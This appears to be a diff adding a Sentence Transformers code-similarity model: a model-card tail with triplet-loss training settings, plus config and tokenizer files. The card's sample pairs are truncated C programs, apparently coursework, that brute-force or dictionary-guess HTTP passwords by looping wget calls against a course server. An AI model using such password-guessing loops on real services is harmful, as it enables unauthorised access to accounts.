+  | details | <ul><li>min: 194 tokens</li><li>mean: 471.57 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 194 tokens</li><li>mean: 458.65 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.20%</li><li>1: ~0.80%</li></ul> |
+* Samples:
+  | sentence_0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | sentence_1                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | label          |
+  |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------|
+  | <code>#include <strings.h><br>#include <string.h><br>#include <ctype.h><br>#include<sys/time.h><br>#include <stdio.h><br>#include <stdlib.h><br>#include <sys/times.h><br><br><br><br>int ()<br>{<br>    int i,j,k,syst;<br>    char password[4],first[100],last[100];<br>    int count =0;     <br>    char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',<br>     'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};<br>    strcpy(first, "wget --http-user= --http-passwd=");<br>    strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");<br>    int Start_time,End_time,Total_time,average;  <br>    Start_time = time();<br>printf(" Time =%11dms\n", Start_time);<br>   for (i=0;i<=52;i++)<br>  {<br>   for (j=0;j<=52;j++)<br>   {<br>	for(k=0;k<=52;k++)<br>	  {<br>	      password[0] =  arr[i];<br>          password[1] =  arr[j];<br>          password[2] =  arr[k];<br>          password[3] =  '\0';<br>		  printf(" The  Combination of the password  tried %s \n" ,password);<br>     	  printf("*...</code>                                                       | <code>#include <stdio.h><br>#include <stdlib.h><br>#include <sys/times.h><br>#include <strings.h><br>#include <string.h><br>#include <ctype.h><br><br><br><br>int ()<br>{<br>    int i,j,k,sysoutput;<br>    char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3];<br>    char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',<br>     'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};<br>    strcpy(string1, "wget --http-user= --http-passwd=");<br>    strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");<br>    <br>    for (i=0;i<=52;i++)<br>  { <br>     [0] = arr[i];<br>     [1]  ='\0'; <br>     strcpy(a,);<br>     <br>     printf("The  first  value is %s \n", a);    	<br><br>     for (j=0;j<=52;j++)<br>       {  [0] = arr[j];<br>          [1] = '\0'; <br>	  strcpy(temp1,a);<br>	  strcat(a,);<br>	  strcpy(b,a);<br>	  strcpy(a,temp1);<br>	   printf("The  second value is %s \n", b);    	          <br>	for(k=0;k<=52;k++)<br>	  {  <br>	     [0] =arr[k];<br>	     [1] = '\0...</code>                                                                                     | <code>1</code> |
+  | <code>#include<stdio.h><br>#include<string.h><br>#include<strings.h><br>#include<stdlib.h><br>#include<sys/time.h><br><br>()<br>{<br>	int i,m,k,count=0;<br>	FILE* diction;<br>	FILE* log;<br>	char s[30];<br>	char pic[30];<br>	char add[1000];<br>	char end[100];<br>	time_t ,finish;<br>	double ttime;<br>	<br>	strcpy(add,"wget --http-user= --http-passwd=");<br>	strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");<br>	diction=fopen("/usr/share/lib/dict/words","r");<br>	=time(NULL);<br>	while(fgets(s,100,diction)!=NULL)	<br>	{	<br>		printf("%s\n",s);<br>		for(m=40,k=0;k<(strlen(s)-1);k++,m++)<br>		{<br>			add[m]=s[k];<br>		}<br>		add[m++]=' ';<br>		for(i=0;i<50;i++,m++)<br>		{<br>			add[m]=end[i];<br>		}<br>		add[m]='\0';<br>		<br>		system(add);<br>		count++;<br>		log=fopen("logd","r");<br>		fgets(pic,100,log);<br>		printf("%s",pic);<br>		if(strcmp(pic,"Authorization failed.\n")!=0)	<br>		{<br>			finish=time(NULL);<br>			ttime=difftime(,finish);<br>			printf( "\n The time_var take:%f/n The  of passwords tried is %d\n",ttime,count);<br>			break;<br>		}<br>		fclose(log);<br>	}<br><br>}<br></code>                                                      | <code><br><br><br><br>#include <stdio.h><br>#include <stdlib.h><br>#include  <time.h><br><br>int ()  <br>{<br>  int i,j,k,cntr=0;<br>  char  pass[3];<br>  char password[3];<br>  char get[96];<br>  char username[]="";<br>  int R_VALUE;<br>  double time_used;<br>  <br>  clock_t ,end; <br>  <br>   =clock(); <br>  <br>  <br>  <br>  for (i = 65; i <= 122; i++)<br>  {<br>    if(i==91) {i=97;}<br>   <br>       for (j = 65; j <= 122; j++)<br>	   {<br>         if(j==91) {j=97;}<br>      <br>           for (k = 65; k <= 122; k++)<br>		   {<br>            if(k==91) {k=97;}  <br>         <br>             pass[0] = i;<br>             pass[1] = j;<br>	         pass[2] = k;<br>             sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]);       <br>             cntr++;<br>	         <br>			 printf("%d )%s\n\n", cntr, password);<br>             sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);<br>             <br><br>	         R_VALUE=system(get);<br>	  <br>	          if(R_VALUE==0) <br>			  {<br>		        printf("The Password has been cracked and it is : %s" , password);<br>		        ...</code>                                           | <code>0</code> |
+  | <code><br><br>             <br>	     <br><br><br>#include<stdio.h><br>#include<stdlib.h><br>#include<string.h><br><br>    <br>    int  ()<br>    {<br>       char url[30];<br>       int exitValue=-1;<br>       FILE *fr;<br><br>       char s[300]; 	     <br>	system("rm index.html*");<br>        system("wget http://www.cs.rmit.edu./students/ ");    <br>	 system("mv index.html one.html");<br>	 <br>           printf("System completed Writing\n"); <br>	   system("sleep 3600");<br>	    <br>	    <br>            system("wget http://www.cs.rmit.edu./students/ "); <br>            <br>	          <br>	    	     <br>	     exitValue=system("diff one.html index.html > .out" );<br>	     <br>             fr=fopen(".out","r");<br>	     <br>	     strcpy(s,"mailx -s \"Testing Again\"");<br>	     	     <br>	     strcat(s,"  < .out");<br>	     if(fgets(url,30,fr))<br>	     {<br>	     system(s);<br>	     <br>	     system("rm one.html");  <br>	     <br>	     printf("\nCheck your mail") ; <br>	     fclose(fr);        <br>	     }<br>	       else<br>	           {<br>	            printf(" changes detected"); <br>		    <br>	            system("rm one.html"); <br>		    fc...</code> | <code>#include<stdio.h><br>#include<stdlib.h><br>#include<string.h><br>#include<ctype.h><br>#include<time.h><br><br>int ()<br>{<br><br> int m,n,o,i;<br> time_t u1,u2;<br> char v[3];<br> char temp1[100];<br> char temp2[100];<br> char temp3[250];<br> FILE *fin1;<br> <br> char point[25];<br>  fin1=fopen("./words.txt","r");<br>  <br>  if(fin1==NULL)<br>  {<br>   printf(" open the file ");<br>   exit(0);<br>  } <br>  <br><br> strcpy(temp2," --http-user= --http-passwd=");<br> strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");<br> <br>   strcpy(temp3,"");<br>   <br>   (void) time(&u1); <br>   <br>   while(!feof(fin1))  <br>   {<br>    <br>    fgets(point,25,fin1);<br>    if(strlen(point)<=4)<br>    {<br>   <br>    <br>    strcpy(temp3,temp1);<br>    strcat(temp3,temp2);<br>     strcat(temp3,point);<br>    printf("\nSending the  %s\n",temp3);<br>    i=system(temp3);  <br>   	<br>	if(i==0)<br>   	{<br>	 (void) time(&u2); <br>	 printf("\n The password is %s\n",point);<br>	 printf("\n\nThe time_var taken  crack the passwork is  %d  second\n\n",(int)(u2-u1));<br>     	 exit(0);<br>   	} <br>	else<br>	{<br>	strcpy(temp3,"");<br>	}<br>   <br>   <br>    }<br>  }<br>   <br>  <br>} ...</code> | <code>0</code> |
+* Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss)
+
+### Training Hyperparameters
+#### Non-Default Hyperparameters
+
+- `per_device_train_batch_size`: 16
+- `per_device_eval_batch_size`: 16
+- `num_train_epochs`: 1
+- `fp16`: True
+- `multi_dataset_batch_sampler`: round_robin
+
+#### All Hyperparameters
+<details><summary>Click to expand</summary>
+
+- `overwrite_output_dir`: False
+- `do_predict`: False
+- `eval_strategy`: no
+- `prediction_loss_only`: True
+- `per_device_train_batch_size`: 16
+- `per_device_eval_batch_size`: 16
+- `per_gpu_train_batch_size`: None
+- `per_gpu_eval_batch_size`: None
+- `gradient_accumulation_steps`: 1
+- `eval_accumulation_steps`: None
+- `torch_empty_cache_steps`: None
+- `learning_rate`: 5e-05
+- `weight_decay`: 0.0
+- `adam_beta1`: 0.9
+- `adam_beta2`: 0.999
+- `adam_epsilon`: 1e-08
+- `max_grad_norm`: 1
+- `num_train_epochs`: 1
+- `max_steps`: -1
+- `lr_scheduler_type`: linear
+- `lr_scheduler_kwargs`: {}
+- `warmup_ratio`: 0.0
+- `warmup_steps`: 0
+- `log_level`: passive
+- `log_level_replica`: warning
+- `log_on_each_node`: True
+- `logging_nan_inf_filter`: True
+- `save_safetensors`: True
+- `save_on_each_node`: False
+- `save_only_model`: False
+- `restore_callback_states_from_checkpoint`: False
+- `no_cuda`: False
+- `use_cpu`: False
+- `use_mps_device`: False
+- `seed`: 42
+- `data_seed`: None
+- `jit_mode_eval`: False
+- `use_ipex`: False
+- `bf16`: False
+- `fp16`: True
+- `fp16_opt_level`: O1
+- `half_precision_backend`: auto
+- `bf16_full_eval`: False
+- `fp16_full_eval`: False
+- `tf32`: None
+- `local_rank`: 0
+- `ddp_backend`: None
+- `tpu_num_cores`: None
+- `tpu_metrics_debug`: False
+- `debug`: []
+- `dataloader_drop_last`: False
+- `dataloader_num_workers`: 0
+- `dataloader_prefetch_factor`: None
+- `past_index`: -1
+- `disable_tqdm`: False
+- `remove_unused_columns`: True
+- `label_names`: None
+- `load_best_model_at_end`: False
+- `ignore_data_skip`: False
+- `fsdp`: []
+- `fsdp_min_num_params`: 0
+- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
+- `fsdp_transformer_layer_cls_to_wrap`: None
+- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
+- `deepspeed`: None
+- `label_smoothing_factor`: 0.0
+- `optim`: adamw_torch
+- `optim_args`: None
+- `adafactor`: False
+- `group_by_length`: False
+- `length_column_name`: length
+- `ddp_find_unused_parameters`: None
+- `ddp_bucket_cap_mb`: None
+- `ddp_broadcast_buffers`: False
+- `dataloader_pin_memory`: True
+- `dataloader_persistent_workers`: False
+- `skip_memory_metrics`: True
+- `use_legacy_prediction_loop`: False
+- `push_to_hub`: False
+- `resume_from_checkpoint`: None
+- `hub_model_id`: None
+- `hub_strategy`: every_save
+- `hub_private_repo`: None
+- `hub_always_push`: False
+- `gradient_checkpointing`: False
+- `gradient_checkpointing_kwargs`: None
+- `include_inputs_for_metrics`: False
+- `include_for_metrics`: []
+- `eval_do_concat_batches`: True
+- `fp16_backend`: auto
+- `push_to_hub_model_id`: None
+- `push_to_hub_organization`: None
+- `mp_parameters`: 
+- `auto_find_batch_size`: False
+- `full_determinism`: False
+- `torchdynamo`: None
+- `ray_scope`: last
+- `ddp_timeout`: 1800
+- `torch_compile`: False
+- `torch_compile_backend`: None
+- `torch_compile_mode`: None
+- `include_tokens_per_second`: False
+- `include_num_input_tokens_seen`: False
+- `neftune_noise_alpha`: None
+- `optim_target_modules`: None
+- `batch_eval_metrics`: False
+- `eval_on_start`: False
+- `use_liger_kernel`: False
+- `eval_use_gather_object`: False
+- `average_tokens_across_devices`: False
+- `prompts`: None
+- `batch_sampler`: batch_sampler
+- `multi_dataset_batch_sampler`: round_robin
+- `router_mapping`: {}
+- `learning_rate_mapping`: {}
+
+</details>
+
+### Framework Versions
+- Python: 3.11.13
+- Sentence Transformers: 5.0.0
+- Transformers: 4.52.4
+- PyTorch: 2.6.0+cu124
+- Accelerate: 1.8.1
+- Datasets: 3.6.0
+- Tokenizers: 0.21.2
+
+## Citation
+
+### BibTeX
+
+#### Sentence Transformers
+```bibtex
+@inproceedings{reimers-2019-sentence-bert,
+    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
+    author = "Reimers, Nils and Gurevych, Iryna",
+    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
+    month = "11",
+    year = "2019",
+    publisher = "Association for Computational Linguistics",
+    url = "https://arxiv.org/abs/1908.10084",
+}
+```
+
+#### BatchAllTripletLoss
+```bibtex
+@misc{hermans2017defense,
+    title={In Defense of the Triplet Loss for Person Re-Identification},
+    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
+    year={2017},
+    eprint={1703.07737},
+    archivePrefix={arXiv},
+    primaryClass={cs.CV}
+}
+```
+
+<!--
+## Glossary
+
+*Clearly define terms in order to be accessible across audiences.*
+-->
+
+<!--
+## Model Card Authors
+
+*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
+-->
+
+<!--
+## Model Card Contact
+
+*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
+-->

config.json

@@ -0,0 +1,27 @@
+{
+  "architectures": [
+    "RobertaModel"
+  ],
+  "attention_probs_dropout_prob": 0.1,
+  "bos_token_id": 0,
+  "classifier_dropout": null,
+  "eos_token_id": 2,
+  "hidden_act": "gelu",
+  "hidden_dropout_prob": 0.1,
+  "hidden_size": 768,
+  "initializer_range": 0.02,
+  "intermediate_size": 3072,
+  "layer_norm_eps": 1e-05,
+  "max_position_embeddings": 514,
+  "model_type": "roberta",
+  "num_attention_heads": 12,
+  "num_hidden_layers": 12,
+  "output_past": true,
+  "pad_token_id": 1,
+  "position_embedding_type": "absolute",
+  "torch_dtype": "float32",
+  "transformers_version": "4.52.4",
+  "type_vocab_size": 1,
+  "use_cache": true,
+  "vocab_size": 50265
+}

config_sentence_transformers.json

@@ -0,0 +1,14 @@
+{
+  "model_type": "SentenceTransformer",
+  "__version__": {
+    "sentence_transformers": "5.0.0",
+    "transformers": "4.52.4",
+    "pytorch": "2.6.0+cu124"
+  },
+  "prompts": {
+    "query": "",
+    "document": ""
+  },
+  "default_prompt_name": null,
+  "similarity_fn_name": "cosine"
+}

model.safetensors

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:25916e4dd9e51f4101337629a68e231c207326859f0dcdaa5c2ac7ba18841969
+size 498604904

modules.json

@@ -0,0 +1,14 @@
+[
+  {
+    "idx": 0,
+    "name": "0",
+    "path": "",
+    "type": "sentence_transformers.models.Transformer"
+  },
+  {
+    "idx": 1,
+    "name": "1",
+    "path": "1_Pooling",
+    "type": "sentence_transformers.models.Pooling"
+  }
+]

sentence_bert_config.json

@@ -0,0 +1,4 @@
+{
+    "max_seq_length": 512,
+    "do_lower_case": false
+}

special_tokens_map.json

@@ -0,0 +1,51 @@
+{
+  "bos_token": {
+    "content": "<s>",
+    "lstrip": false,
+    "normalized": true,
+    "rstrip": false,
+    "single_word": false
+  },
+  "cls_token": {
+    "content": "<s>",
+    "lstrip": false,
+    "normalized": true,
+    "rstrip": false,
+    "single_word": false
+  },
+  "eos_token": {
+    "content": "</s>",
+    "lstrip": false,
+    "normalized": true,
+    "rstrip": false,
+    "single_word": false
+  },
+  "mask_token": {
+    "content": "<mask>",
+    "lstrip": true,
+    "normalized": false,
+    "rstrip": false,
+    "single_word": false
+  },
+  "pad_token": {
+    "content": "<pad>",
+    "lstrip": false,
+    "normalized": true,
+    "rstrip": false,
+    "single_word": false
+  },
+  "sep_token": {
+    "content": "</s>",
+    "lstrip": false,
+    "normalized": true,
+    "rstrip": false,
+    "single_word": false
+  },
+  "unk_token": {
+    "content": "<unk>",
+    "lstrip": false,
+    "normalized": true,
+    "rstrip": false,
+    "single_word": false
+  }
+}

tokenizer_config.json

@@ -0,0 +1,58 @@
+{
+  "add_prefix_space": false,
+  "added_tokens_decoder": {
+    "0": {
+      "content": "<s>",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": true
+    },
+    "1": {
+      "content": "<pad>",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": true
+    },
+    "2": {
+      "content": "</s>",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": true
+    },
+    "3": {
+      "content": "<unk>",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": true
+    },
+    "50264": {
+      "content": "<mask>",
+      "lstrip": true,
+      "normalized": false,
+      "rstrip": false,
+      "single_word": false,
+      "special": true
+    }
+  },
+  "bos_token": "<s>",
+  "clean_up_tokenization_spaces": false,
+  "cls_token": "<s>",
+  "eos_token": "</s>",
+  "errors": "replace",
+  "extra_special_tokens": {},
+  "mask_token": "<mask>",
+  "model_max_length": 512,
+  "pad_token": "<pad>",
+  "sep_token": "</s>",
+  "tokenizer_class": "RobertaTokenizer",
+  "trim_offsets": true,
+  "unk_token": "<unk>"
+}